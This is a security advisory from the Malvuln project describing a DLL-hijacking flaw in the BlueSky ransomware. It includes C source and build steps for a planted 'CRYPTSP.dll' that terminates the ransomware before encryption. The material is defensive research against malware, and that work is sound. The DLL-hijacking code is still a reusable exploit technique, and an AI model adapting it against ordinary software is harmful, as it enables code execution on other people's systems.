Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/961fa85207cdc4ef86a076bbff07a409.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Win32.Ransom.BlueSky
Vulnerability: Arbitrary Code Execution
Description: The BlueSky ransomware looks for and executes arbitrary DLLs in its current working directory. Therefore, we can hijack a vuln DLL, execute our own code, control and terminate the malware pre-encryption. The exploit dll checks if the current directory is "C:\Windows\System32", if not we grab our own process ID and terminate. All basic tests were conducted successfully in a virtual machine environment.
Family: BlueSky
Type: PE32
MD5: 961fa85207cdc4ef86a076bbff07a409
Vuln ID: MVID-2022-0632
Disclosure: 08/13/2022
PoC Video URL: https://www.youtube.com/watch?v=osuS8GjdERM

Exploit/PoC:
1) Compile the following C code as "CRYPTSP.dll" 32-bit
2) Place the DLL in same directory as the vuln BlueSky ransomware
3) Run malware

#include "windows.h"

//By malvuln - August 2022
//Purpose: PWN BlueSky ransomware MD5: 961fa85207cdc4ef86a076bbff07a409
//gcc -c CRYPTSP.c -m32
//gcc -shared -o CRYPTSP.dll CRYPTSP.o -m32
/** DISCLAIMER:
Author is NOT responsible for any damages whatsoever by using this software or improper malware
handling. By using this code you assume and accept all risk implied or otherwise.
**/
BOOL APIENTRY DllMain(HINSTANCE hInst, DWORD reason, LPVOID reserved){
  switch (reason) {
  case DLL_PROCESS_ATTACH:
   MessageBox(NULL, "BlueSky Ransom\nPWNED!!! by Malvuln", "Code Exec PoC", MB_OK);
   TCHAR buf[MAX_PATH];
   if(GetCurrentDirectory(MAX_PATH, buf))
   if(strcmp("C:\\Windows\\System32", buf) != 0){
      HANDLE handle = OpenProcess(PROCESS_TERMINATE, FALSE, getpid());
     if (NULL != handle) {   
        TerminateProcess(handle, 0);
       CloseHandle(handle);
     }
   }
    break;
  }
  return TRUE;
}


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